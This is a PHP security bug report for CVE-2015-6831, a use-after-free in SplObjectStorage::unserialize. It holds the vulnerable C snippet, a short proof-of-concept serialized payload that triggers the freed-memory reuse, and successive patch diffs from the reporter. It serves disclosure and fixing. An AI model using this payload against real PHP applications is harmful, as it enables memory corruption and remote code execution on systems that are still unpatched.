Headline
CVE-2015-6831: Use After Free Vulnerability in unserialize() with SplObjectStorage
Multiple use-after-free vulnerabilities in SPL in PHP before 5.4.44, 5.5.x before 5.5.28, and 5.6.x before 5.6.12 allow remote attackers to execute arbitrary code via vectors involving (1) ArrayObject, (2) SplObjectStorage, and (3) SplDoublyLinkedList, which are mishandled during unserialization.
Sec Bug #70168
Use After Free Vulnerability in unserialize() with SplObjectStorage
Submitted:
2015-07-30 10:52 UTC
Modified:
2015-09-09 10:05 UTC
From:
taoguangchen at icloud dot com
Assigned:
stas (profile)
Status:
Closed
Package:
*General Issues
PHP Version:
5.4.43
OS:
*
Private report:
No
CVE-ID:
2015-6831
[2015-07-30 10:52 UTC] taoguangchen at icloud dot com
Description:
I has reported a similar bug in BUG#70166
``` if (*p!= ‘x’ || *++p != ‘:’) { goto outexcept; } ++p;
ALLOC\_INIT\_ZVAL(pcount);
if (!php\_var\_unserialize(&pcount, &p, s + buf\_len, &var\_hash TSRMLS\_CC) || Z\_TYPE\_P(pcount) != IS\_LONG) {
goto outexcept;
}
--p; /\* for ';' \*/
count = Z\_LVAL\_P(pcount);
… /* done reading $serialized */ if (pcount) { zval_ptr_dtor(&pcount); <=== free memory } PHP_VAR_UNSERIALIZE_DESTROY(var_hash); return; ```
&pcount was be freed, but we can use that already freed memory via R: and r:. it is possible to use-after-free attack and execute arbitrary code remotely.
PoC:
``` $inner = 'x:i:1;O:8:"stdClass":0:{};m:a:0:{}’; $exploit = 'a:2:{i:0;C:16:"SplObjectStorage":’.strlen($inner).’:{’.$inner.’}i:1;R:3;}’;
$data = unserialize($exploit);
for($i = 0; $i < 5; $i++) { $v[$i] = 'hi’.$i; }
var_dump($data); ```
Patches
Add a Patch
Pull Requests
Add a Pull Request
History
AllCommentsChangesGit/SVN commitsRelated reports
[2015-07-30 10:58 UTC] taoguangchen at icloud dot com
the patch for 5.4 series ( maybe work on 5.5 and 5.6 series):
diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c index da9110b…ccf10c5 100644 — a/php-5.4.43/spl_observer.c +++ b/php-5.4.43-fixed/spl_observer.c @@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize) if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) { goto outexcept; }
var_push_dtor(&var_hash, &pcount);
–p; /* for ‘;’ */ count = Z_LVAL_P(pcount); @@ -880,7 +882,7 @@ SPL_METHOD(SplObjectStorage, unserialize) if(pelement->obj) { var_push_dtor(&var_hash, &pelement->obj); }
}
} spl\_object\_storage\_attach(intern, getThis(), pentry, pinf TSRMLS\_CC); zval\_ptr\_dtor(&pentry); zval\_ptr\_dtor(&pinf);
[2015-07-30 11:01 UTC] taoguangchen at icloud dot com
update a new patch:
diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c index da9110b…02d1434 100644 — a/php-5.4.43/spl_observer.c +++ b/php-5.4.43-fixed/spl_observer.c @@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize) if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) { goto outexcept; }
var_push_dtor(&var_hash, &pcount);
–p; /* for ‘;’ */ count = Z_LVAL_P(pcount);
[2015-07-30 12:19 UTC] taoguangchen at icloud dot com
update a new patch for another UaF (test on 5.4 series):
diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c index da9110b…195bc72 100644 — a/php-5.4.43/spl_observer.c +++ b/php-5.4.43-fixed/spl_observer.c @@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize) if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) { goto outexcept; }
var_push_dtor(&var_hash, &pcount);
–p; /* for ‘;’ */ count = Z_LVAL_P(pcount); @@ -902,6 +904,8 @@ SPL_METHOD(SplObjectStorage, unserialize) zval_ptr_dtor(&pmembers); goto outexcept; }
var_push_dtor(&var_hash, &pmembers);
/* copy members */ if (!intern->std.properties) {
[2015-08-04 22:22 UTC] [email protected]
-Status: Open +Status: Closed
[2015-09-09 10:05 UTC] [email protected]
-Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: 2015-6831
[2015-09-09 10:05 UTC] [email protected]
Shared CVE between bugs #70155, #70166, #70168 and #70169.
Related news
spl_array.c in the SPL extension in PHP before 5.5.37 and 5.6.x before 5.6.23 improperly interacts with the unserialize implementation and garbage collection, which allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free and application crash) via crafted serialized data.
The cdf_check_stream_offset function in cdf.c in file before 5.19, as used in the Fileinfo component in PHP before 5.4.30 and 5.5.x before 5.5.14, relies on incorrect sector-size data, which allows remote attackers to cause a denial of service (application crash) via a crafted stream offset in a CDF file.